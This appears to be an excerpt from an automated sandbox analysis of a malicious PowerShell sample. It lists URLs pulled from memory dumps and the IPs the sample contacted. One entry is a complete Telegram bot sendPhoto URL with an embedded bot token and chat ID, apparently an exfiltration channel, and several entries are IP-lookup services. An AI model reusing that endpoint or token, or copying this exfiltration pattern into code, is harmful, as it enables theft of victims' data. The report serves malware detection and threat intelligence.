https://api.telegram.org/bot7813041927:AAFJKTwPluPESj-jsG5TWsi6m7BDKrgz_Rk/sendPhoto?chat_id=-463031	powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1598957271.000001BEFA4CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1372476794.0000027F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE20F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2591788897.0000022547481000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.v	powershell.exe, 00000006.00000002.1592989522.000001BEFA143000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ipwho.is	powershell.exe, 00000006.00000002.1507861844.000001BEE2899000.00000004.00000800.00020000.00000000.sdmp	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.124.205.6	unknown	Russian Federation	197695	AS-REGRU	true
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
195.201.57.90	ipwho.is	Germany	24940	HETZNER-ASDE	false